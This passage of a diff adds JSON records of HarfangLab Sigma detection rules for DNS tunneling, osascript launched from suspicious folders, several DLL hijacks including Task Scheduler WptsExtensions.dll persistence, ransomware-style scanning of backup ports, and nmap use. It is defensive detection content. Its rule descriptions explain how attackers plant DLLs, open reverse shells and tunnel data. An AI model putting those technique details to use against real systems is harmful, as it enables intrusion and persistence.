ProcessSignature: 'MDaemon Technologies, Ltd.'\n        QueryName|startswith: 'urldefense.com&key='\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\nissrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e35d4489-1f45-4352-8c90-aee45e3ae5b9",
+  "rule_name": "Abnormally Long DNS Name Resolved (Windows)",
+  "rule_description": "Detects an abnormally long DNS query that are usually associated with DNS tunneling.\nAdversaries may use DNS protocol to communicate with their C&C.\nIt is recommended to check the content of the request and for suspicious behavior by the process making the request.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-09-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e3743fcd-fe82-4998-8fa9-11fdc7145cf5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095580Z",
+  "creation_date": "2026-03-23T11:45:34.095582Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095586Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/",
+    "https://gist.github.com/Metnew/09a50c38d398c482b2df59082f0d13c6",
+    "https://attack.mitre.org/techniques/T1059/002/"
+  ],
+  "name": "t1059_002_osascript_suspicious_ancestors.yml",
+  "content": "title: Osascript Spawned from Suspicious Location\nid: e3743fcd-fe82-4998-8fa9-11fdc7145cf5\ndescription: |\n    Detects osascript being executed from a suspicious location.\n    Osascript is a command-line utility used to execute AppleScript scripts. AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format with the Native APIs NSAppleScript or OSAScript.\n    An attacker could use AppleScript to execute other programs or scripts to achieve various behaviors, such as establishing a reverse shell or interacting with remote applications.\n    It is recommended to investigate the program that spawned the script, the programs spawned by the script and the script itself to determine whether this action was legitimate.\nreferences:\n    - https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/\n    - https://gist.github.com/Metnew/09a50c38d398c482b2df59082f0d13c6\n    - https://attack.mitre.org/techniques/T1059/002/\ndate: 2024/07/02\nmodified: 2025/03/18\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Osascript\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/osascript'\n        Ancestors|contains:\n            - '/users/shared'\n            - '/volumes'\n            - '/private/tmp'\n\n    exclusion_location_check:\n        GrandparentCommandLine: '/Volumes/Player Location Check */Player Location Check.app/Contents/MacOS/Player Location Check'\n\n    exclusion_installer:\n        ParentImage|startswith:\n            - '/private/tmp/PKInstallSandbox.*/Scripts/'\n            - '/tmp/pkinstallsandbox.*/Scripts/'\n\n    exclusion_legitimate_apps:\n        ParentImage:\n            - '/var/folders/*/clickshareclient/clickshare.app/Contents/MacOS/clickshare'\n            - '/volumes/*/applications/zotero *.app/contents/macos/zotero'\n            - '/volumes/cursor installer/cursor.app/contents/macos/cursor'\n            - '/volumes/redisinsight/redisinsight.app/contents/macos/redisinsight'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e3743fcd-fe82-4998-8fa9-11fdc7145cf5",
+  "rule_name": "Osascript Spawned from Suspicious Location",
+  "rule_description": "Detects osascript being executed from a suspicious location.\nOsascript is a command-line utility used to execute AppleScript scripts. AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format with the Native APIs NSAppleScript or OSAScript.\nAn attacker could use AppleScript to execute other programs or scripts to achieve various behaviors, such as establishing a reverse shell or interacting with remote applications.\nIt is recommended to investigate the program that spawned the script, the programs spawned by the script and the script itself to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-07-02",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e3935968-27d9-4d1b-bb85-d234fbc3a6fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594227Z",
+  "creation_date": "2026-03-23T11:45:34.594230Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594238Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tskill.yml",
+  "content": "title: DLL Hijacking via tskill.exe\nid: e3935968-27d9-4d1b-bb85-d234fbc3a6fc\ndescription: |\n    Detects potential Windows DLL Hijacking via tskill.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tskill.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e3935968-27d9-4d1b-bb85-d234fbc3a6fc",
+  "rule_name": "DLL Hijacking via tskill.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tskill.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e3b3b1d2-95c2-43b9-881d-10094e000cf5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088994Z",
+  "creation_date": "2026-03-23T11:45:34.088997Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089004Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.a12d404.net/windows/2019/10/30/schedsvc-persist-without-task.html",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1574_002_persistence_dll_hijack_task_scheduler_wptsextensions.yml",
+  "content": "title: Task Scheduler Service DLL Hijack Detected\nid: e3b3b1d2-95c2-43b9-881d-10094e000cf5\ndescription: |\n    Detects a method to achieve persistence by exploiting the Task Scheduler service without creating a new scheduled task.\n    The Task Scheduler attempts to load a non-existent DLL named \"WptsExtensions.dll\" from the System32 directory.\n    By creating a malicious DLL with the required exported functions and placing it in System32 directory, an attacker can gain persistent execution with system privileges.\n    It is recommended to analyze the loaded DLL for malicious contents and to investigate subsequent actions performed by svchost.exe binary to look for malicious actions.\nreferences:\n    - https://www.a12d404.net/windows/2019/10/30/schedsvc-persist-without-task.html\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2020/09/28\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded: '*\\WptsExtensions.dll'\n        Image|endswith: '\\svchost.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e3b3b1d2-95c2-43b9-881d-10094e000cf5",
+  "rule_name": "Task Scheduler Service DLL Hijack Detected",
+  "rule_description": "Detects a method to achieve persistence by exploiting the Task Scheduler service without creating a new scheduled task.\nThe Task Scheduler attempts to load a non-existent DLL named \"WptsExtensions.dll\" from the System32 directory.\nBy creating a malicious DLL with the required exported functions and placing it in System32 directory, an attacker can gain persistent execution with system privileges.\nIt is recommended to analyze the loaded DLL for malicious contents and to investigate subsequent actions performed by svchost.exe binary to look for malicious actions.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e3ed3f5f-02d6-42e9-8592-cf2da12d32c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093843Z",
+  "creation_date": "2026-03-23T11:45:34.093846Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093850Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/RedDrip7/status/1545245625662418945",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hpscan.yml",
+  "content": "title: DLL Hijacking via HPScan\nid: e3ed3f5f-02d6-42e9-8592-cf2da12d32c0\ndescription: |\n    Detects a potential Windows DLL search order hijacking via HPScan.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    The HPScan tries to load (version.dll) without specifying its absolute path. By putting a malicious DLL with the same name in the same folder, attackers can execute arbitrary code.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/RedDrip7/status/1545245625662418945\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'HPScan.exe'\n        ProcessSignature: 'HP Inc.'\n        ImageLoaded|endswith: '\\version.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e3ed3f5f-02d6-42e9-8592-cf2da12d32c0",
+  "rule_name": "DLL Hijacking via HPScan",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via HPScan.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nThe HPScan tries to load (version.dll) without specifying its absolute path. By putting a malicious DLL with the same name in the same folder, attackers can execute arbitrary code.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e4357fbe-399f-4671-a1bf-732a2f71a38c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083335Z",
+  "creation_date": "2026-03-23T11:45:34.083337Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083341Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/",
+    "https://www.kroll.com/en/insights/publications/cyber/avoslocker-ransomware-update",
+    "https://attack.mitre.org/techniques/T1595/",
+    "https://attack.mitre.org/techniques/T1046/"
+  ],
+  "name": "t1046_softperfect_network_scanner_backup_systems.yml",
+  "content": "title: Suspicious Network Activity from SoftPerfect Network Scanner\nid: e4357fbe-399f-4671-a1bf-732a2f71a38c\ndescription: |\n    Detects suspicious network activity initiated by the SoftPerfect Network Scanner to specific ports related to backup systems.\n    This tool is frequently used by ransomware groups to identify backup systems for possible data exfiltration or encryption.\n    It is recommended to investigate the parent process to look for malicious content or behavior.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/\n    - https://www.kroll.com/en/insights/publications/cyber/avoslocker-ransomware-update\n    - https://attack.mitre.org/techniques/T1595/\n    - https://attack.mitre.org/techniques/T1046/\ndate: 2024/02/20\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.reconnaissance\n    - attack.t1595\n    - attack.discovery\n    - attack.t1046\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Tool.SoftPerfect\n    - classification.Windows.Behavior.NetworkScan\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        ProcessCompany|contains: 'SoftPerfect' # SoftPerfect, SoftPerfect Research, SoftPerfect Pty Ltd\n        ProcessProduct:\n            - 'Network Scanner'\n            - 'SoftPerfect Network Scanner'\n\n        DestinationPort:\n            - '3527' # VERITAS backup\n            - '5000' # DSM (Synology)\n            - '6106' # VERITAS backup\n            - '9392' # Veeam backup\n            - '9393' # Veeam backup\n            - '9401' # Veeam backup\n            - '9420' # Veeam backup\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e4357fbe-399f-4671-a1bf-732a2f71a38c",
+  "rule_name": "Suspicious Network Activity from SoftPerfect Network Scanner",
+  "rule_description": "Detects suspicious network activity initiated by the SoftPerfect Network Scanner to specific ports related to backup systems.\nThis tool is frequently used by ransomware groups to identify backup systems for possible data exfiltration or encryption.\nIt is recommended to investigate the parent process to look for malicious content or behavior.\n",
+  "rule_creation_date": "2024-02-20",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1595"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e45f88d6-d02f-42b9-b7f4-e484d0347052",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098678Z",
+  "creation_date": "2026-03-23T11:45:34.098680Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098684Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cyuserserver.yml",
+  "content": "title: DLL Hijacking via cyuserserver.exe\nid: e45f88d6-d02f-42b9-b7f4-e484d0347052\ndescription: |\n    Detects potential Windows DLL Hijacking via cyuserserver.exe related to Cortex XDR.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securelist.com/toddycat-keep-calm-and-check-logs/110696/\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/12/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cyuserserver.exe'\n        ImageLoaded|endswith: '\\ntnativeapi.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Palo Alto Networks\\'\n            - '?:\\Program Files (x86)\\Palo Alto Networks\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Palo Alto Networks\\'\n            - '?:\\Program Files (x86)\\Palo Alto Networks\\'\n            - '?:\\Windows\\System32\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature|contains: 'Palo Alto Networks'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e45f88d6-d02f-42b9-b7f4-e484d0347052",
+  "rule_name": "DLL Hijacking via cyuserserver.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cyuserserver.exe related to Cortex XDR.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-12-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e47d7b4f-fc00-4688-b543-7d7ebf22b22e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 3,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 1,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.533467Z",
+  "creation_date": "2026-03-23T11:45:35.294634Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294638Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1046/",
+    "https://attack.mitre.org/techniques/T1049/"
+  ],
+  "name": "t1046_nmap_linux.yml",
+  "content": "title: Nmap Execution (Linux)\nid: e47d7b4f-fc00-4688-b543-7d7ebf22b22e\ndescription: |\n    Detects the execution of nmap.\n    Nmap is a tool often used by attackers to map networks, services or open ports.\n    It is recommended to check if the usage of nmap is legitimate as well as to investigate other suspicious activities in the same user session.\nreferences:\n    - https://attack.mitre.org/techniques/T1046/\n    - https://attack.mitre.org/techniques/T1049/\ndate: 2022/07/01\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - attack.t1049\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Tool.Nmap\n    - classification.Linux.Behavior.NetworkScan\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/nmap'\n\n    exclusion_rapid7:\n        Image:\n            - '/opt/rapid7/nexpose/nse/nmap/nmap'\n            - '/opt/insightvm/nexpose/nse/nmap/nmap'\n            - '/data/rapid7/nexpose/nse/nmap/nmap'\n\n    exclusion_opmanager:\n        Image: '/OpManager/Nmap/nmap'\n\n    exclusion_lynis:\n        ParentCommandLine:\n            - '/bin/sh ./lynis audit system'\n            - '/bin/sh /usr/bin/lynis audit system --cronjob'\n            - '/bin/sh /usr/sbin/lynis --quick --no-colors*'\n\n    exclusion_zabbix:\n        - ParentCommandLine: '/bin/bash /etc/zabbix/scan_*.sh'\n        - GrandparentCommandLine: '/bin/bash /etc/zabbix/scan_*.sh'\n        - Ancestors|endswith: '|/usr/sbin/zabbix_agent?|/usr/lib/systemd/systemd'\n\n    exclusion_version:\n        CommandLine|endswith:\n            - 'nmap -V'\n            - 'nmap --version'\n\n    exclusion_scheduled_scan:\n        Ancestors|contains: '/usr/sbin/cron'\n\n    exclusion_redhat_insight_client:\n        ProcessGrandparentCommandLine|contains: 'insights_client/run.py'\n\n    exclusion_java:\n        ProcessGrandparentImage: '/usr/lib/jvm/java-?-openjdk-amd64/jre/bin/java'\n\n    exclusion_cfengine:\n        Ancestors|contains: '|/usr/sbin/centengine|'\n\n    exclusion_cyberwatch:\n        CurrentDirectory: '/home/cyberwatch/'\n        Ancestors|contains: '/usr/sbin/sshd|/usr/bin/bash|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - 